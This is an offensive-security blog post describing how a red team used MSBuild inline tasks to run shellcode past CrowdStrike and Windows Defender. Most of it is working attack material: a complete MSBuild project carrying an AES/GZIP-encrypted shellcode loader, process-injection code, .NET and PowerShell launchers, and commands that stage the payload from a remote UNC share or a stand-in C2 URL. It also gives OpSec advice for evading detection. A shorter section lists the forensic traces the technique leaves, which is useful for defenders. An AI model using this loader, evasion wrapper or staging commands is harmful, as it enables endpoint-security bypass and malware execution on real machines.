Jack O'Sullivan
March 18 2021
Introduction
On a recent engagement we had a specific objective set to weaponise a USB Device to gain initial access in each scenario. Notably, the endpoints were making use of CrowdStrike, which on a quick Google Search of "bypass crowdstrike", the following articles will appear:
Both of these blogs have something in common, and that is MSBuild. Now, when discussing solutions such as CrowdStrike, User-land hooking will always come up. However, this will not be discussed in this post because this post will focus on various methods of working with MSBuild. With that said, see the below for more information on that topic:
With that said, in this blog, I want to detail several ways of executing MSBuild which I found quite useful during my research for this objective. For some context, the .NET Payload used made use of a Parent Process ID Spoof as well as Process Injection via section mapping. As an example, here is the C++ equivalent of the process injection:
NtOpenProcess(&hProcess, MAXIMUM_ALLOWED, &objectAttr, &clientId);NtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&largeInt, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
NtMapViewOfSection(hSection, GetCurrentProcess(), &localSectionBase, 0, 0, 0, &viewSize, 2, 0, PAGE_READWRITE);
NtMapViewOfSection(hSection, hProcess, &remoteSectionBase, 0, 0, 0, &viewSize, 2, 0, PAGE_EXECUTE_READ);
RtlMoveMemory(localSectionBase, decoded, shellcodeLength);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, remoteSectionBase, NULL, FALSE, 0, 0, 0, NULL);
NtUnmapViewOfSection(GetCurrentProcess(), localSectionBase);
This technique isn't pertinent to bypassing CrowdStrike. In fact, reviewing the code from the MSBuild blogs shows that more simplistic code performed just as well. The C++ equivalent of the sample code provided from the blogs:
LPVOID pAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);RtlMoveMemory(pAddress, shellcode, sizeof(shellcode));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
WaitForSingleObject(hThread, INFINITE);
So, what is MSBuild?
Now that we have some context to what's going on, lets look into what MSBuild.exe actually is. Looking at the documentation:
The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software.
MSBuild was first released in 2003 which targeted .NET Framework 2.0, a full list of the versions can be found on the trusty Wikipedia:
It has also since became open source and is available on GitHub, which may be useful.
So, essentially, MSBuild is used to do exactly that, build projects. It is depended upon for Visual Studio, but MSBuild does not depend on it and is installed to one of the locations above when .NET is installed, making it a pretty good LOLBAS due to .NET being depending on quite heavily and default versions being specified for each version of Windows. More detail on the default .NET can be found in .NET Framework versions and dependencies. One final thing worth noting, is that MSBuild is a Trusted Developer Utility with the MITRE Reference of T1127/001:
That’s all cool, but what does it mean as an attacker? It lets us specify an project file, and MSBuild will build it and execute any inline tasks, where the inline tasks can be malicious code.
How does it work?
Again, this has already been documented on MSDN, but I want to summarise it. MSBuild will build in three phases:
To do this, it will read from the MSBuild Schema which can either be from a .csproj file, or from an MSBuild project file. These will be detailed later on when we discuss code, but just note that MSBuild can utilise a few different file types.
On start-up, MSBuild will be called via the Microsoft.Build.dll or by calling the executable directly. Once the file passed has been parsed, it will enter the evaluation phase. This is where the input file is being processed and all of the objects are being determined in memory. This consists of six "passes":
- Evaluate environment variables
- Evaluate imports and properties
- Evaluate item definitions
- Evaluate items
- Evaluate UsingTask elements
- Evaluate targets
Once all that has been done, MSBuild enters the execution phase which is where the code is actually ran. For more detail, see the Build Process Overview.
Executing
Before looking at the execution methods, here is the sample code used:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"><Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] password = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAsuLUgtCk5NLi1KNTQyNjEFAOlS5nAQAAAA"));
byte[] unpacked = Gzip.Decompress(Convert.FromBase64String("H4sIAAAAAAAEAAEgA9/8aPPJkW/eHy5hbKvxQSfqBSXZrNOP8dAvjVNr5bGHzAS2X7+Wz+oXr28riV
5JAeBJgE7taLJYq1V4P3/5J9vuy7dDqtVQuXiSMMD9PfW05+CnARazd2mPj3SyRhgFNZWjxqICkLAdoeMLdX4TU1UJngCy4UB/cmGN0YHj2/N3YxSLeq5znU
v+YBbELj9NS4QbjOkB4aL4O95SgtsOzFZFpb/wSYleFyMQuylJJhmh9kcmkDWKjYj4YrWfr844nhX9oPNLml6BUsGVASmSLzSccnpX2aFG6i8WhF8B6Pi6/q
8UcySXyRJOjTj7BslI6Hc7JWSkyTG/OvpD8Qu2XRamZ3M7Y1xFFAp0r+JPu+LhPVGTUK9BH/gfRM79OuXjRBTMpI6cYtEDf2wcZcsds7ug8O6qKPQN2PnYaC
loJ70mStdFRR2ezPhrRQsSz8sDB8s7PsnVRQl/72jqj49tzsoKQoQI436DRoNbowJmb+RXtSvrDxznYVbPGjeVmaco72AyJQUixQMSFlZuhvedPvN/aGYN6x
mBcJPWaS8gnUpNb0+oEIey9GXv+sF+1dyAvKmzbROtZJ6oMffyL8v2VPXsygpoOcb+Ziow00MgF9Q+TsMUr3sKoxu+sofsvHEZQrFih+Q9nYaPFxKVjsQ1mf
6rjye1XMd1HI5QL7yGXcrkF/tk9sDgtD19ojSJ/25jT371rL8vswlx6LbCVh0kAebzo1ijPJsdp8QljjEW3trAhuvkAgBAPCP3T92aQmZ6S3eD73j8B/i3bA
FKcRHP4fIxd63R8twmciOcTNrTfvlwJpxFQK1OS4XuMwtZfQGugaG+ENKXiymLh7AMWAuIP8lfmrskFIVMf1/PLFuoCTS/cYj9c6j7Hl/SDGVNBpU2K7vSTd
cKLdMG4Rv28I+vl/SOPUbXs7WMgZY0TVW6aUR/rG07RS2D5M99m9YGMAh/GjtjWbNXSA9a/4nYAXnDw8LYX9NG/oRHoPmTuvV4xRG3IGch++3Bma1qLDRk3P
S0zJHY5t53BDkVi24dSovOK1peoeJv5VqzhAliRMBxKU/K603bctY8IAMAAA=="));
byte[] eggs = Crypto.Decrypt(unpacked, password);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)eggs.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(eggs, 0, (IntPtr)(funcAddr), eggs.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
public static class Extensions
{
public static T[] SubArray<T>(this T[] array, int offset, int length)
{
T[] result = new T[length];
Array.Copy(array, offset, result, 0, length);
return result;
}
}
class Crypto
{
public static byte[] Decrypt(byte[] data, byte[] key)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Key = key;
aes.IV = key.SubArray(0, 16);
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
class Gzip
{
public static byte[] Decompress(byte[] inputBytes)
{
try
{
using (var inputStream = new MemoryStream(inputBytes))
using (var gZipStream = new GZipStream(inputStream, CompressionMode.Decompress))
using (var outputStream = new MemoryStream())
{
gZipStream.CopyTo(outputStream);
return outputStream.ToArray();
}
}
catch
{
return null;
}
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
The above is a generic execution using VirtualAlloc, Marshal.Copy, CreateThread and WaitForSingleObject. Then to get it around Windows Defender, a GZIP/AES wrapper.
LOLBAS
As previously mentioned, when I was looking at this, I found a few different ways of executing MSBuild. The most obvious is the binary itself: MSBuild.exe.
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
This is as simple as passing the XML to the MSBuild binary:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe .\inline.xml
Which looks like this:
Easy enough, there are all kinds of flags that can be passed to this. For example, removing any output and specify a build configuration:
Its familiar, its comfortable, it works. Let’s look at some more interesting ways of doing this.
.NET
I first saw this on Twitter from Rvrsh3ll in which NoMSBuild was shared. This relies on the Microsoft.Build.Evaluation namespace and is straight-forward to use.
20 or so lines of code:
using System;using Microsoft.Build.Evaluation;
namespace SharpBuild
{
class Program
{
static void Main(string[] args)
{
string path = @"C:\Users\mez0\Desktop\inline.xml";
ProjectCollection collection = new ProjectCollection();
if (collection.LoadProject(path).Build())
{
Console.WriteLine("built");
}
else
{
Console.WriteLine("error");
}
}
}
}
Running this, we see that Cobalt Strike gets a hit:
If you were to carry on with this method, the repository also provides a clean way of executing shellcode with PPID/APC Injection from the IEShim.dll. The entry-point to the shellcode is within the Execute() method. More on this when we move onto staging.
PowerShell
In a similar vein to .NET, this method came by Twitter as well. Bohops made a tweet showcasing this method. Due to the joys that is reflection, this method takes a lot less code, four lines to be exact:
$path = "C:\Users\mez0\Desktop\inline.xml"[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$eval = new-object Microsoft.Build.Evaluation.Project($path);
$eval.Build();
Executing:
Staging
All of the above are on-disk
Everything we've looked at so far as required the *.xml to be on disk. However, there is a very simple and obvious fix, UNC Paths. For example:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\10.10.11.147\mez0\payload.xml
Should look something like this:
Instead of using an SMB Server, the easiest method is to use a WebDAV server, and for me I found Pwndrop to be the easiest way to set this up. If this isn't an option, the .NET and PowerShell methods both supply easy ways to download files from the internet:
.NET:
using (var client = new WebClient()){
client.DownloadFile("https://notac2.com/notapayload.xml", "\\some\\path");
}
Where the path is taken from Path.GetTempPath() + "notapayload.xml", for example.
PowerShell:
Invoke-WebRequest -Uri "https://notac2.com/notapayload.xml" -OutFile $env:TEMP\notapayload.xml
With that said, this isn't really recommended, we would prefer to stay within memory and avoid writing the XML to disk. But remember that the source code will be, as we will see in the next section.
Indicators
Now that we've looked at what MSBuild is, how it works, and how we can leverage it; let’s look at what it leaves behind. First things first, let’s follow it with Procmon:
Looking through all the actions performed by MSBuild, we can see a lot of operations within the temp directory of AppData. There are a bunch of file types:
- .pdb
- .out
- .cs
- .dll
And so on. Grabbing these files, we can see some are empty, but we still have something to look at:
As you'd expect, the .cs file is the source code from the XML:
.out gives us a csc.exe command:
C:\Users\mez0\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Build.Utilities.v4.0\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Utilities.v4.0.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.Build.Framew
ork\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.Build.Framework.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\Sy
stem.Core.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll" /out:"C:\Users\mez0\AppData\Local\Temp\skoxpow
n.dll" /D:DEBUG /debug+ /optimize- "C:\Users\mez0\AppData\Local\Temp\skoxpown.0.cs"
One other note from Procmon, and the output above, is that MSBuild will naturally call CSC.EXE as well as Defender on all the files produced by MSBuild:
The final note I want to make here is the importance of not executing shellcode inline using this method, you don’t want the process to sit like this:
Having MSBuild sit communicating over the network is going to be problematic:
Instead, I would suggest implementing PPID Spoofing with something like PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON as shown by XPN, this will cause MSBuild to exit, and do any tidying up whilst your shellcode lives comfortably in a new process. This should all go without saying that if Kevin in Human Resources is running MSBuild, then it will probably flag as an anomaly, so be wary.
Conclusion
This all started with the need to weaponise a USB device for initial access which would subsequently have to deal with CrowdStrike. This was successfully achieved by weaponising MSBuild with process creation and shellcode injection. In this blog we looked at what MSBuild is and how it works, then implementing it within .NET and PowerShell. Finally, we looked at some of the OpSec considerations for this technique and how to get the most utility out of it.
As I'm not going to give away the entire path I took to achieving the weaponised USB payload, but I have detailed enough in this blog to come up with a creative solution to creating a small one-liner to begin execution. If this helps, let me know on Twitter.
Want more insights from the team? We’ve got you covered: check out the Secarma Labs’ Twitter for more offensive security musings.
If you’re interested in developing your pentesting knowledge, we’re running a series of Hacking & Defending security training courses, where you get hands-on experience in ethical hacking. If you’d like to get involved, check out our Training page, or contact us here.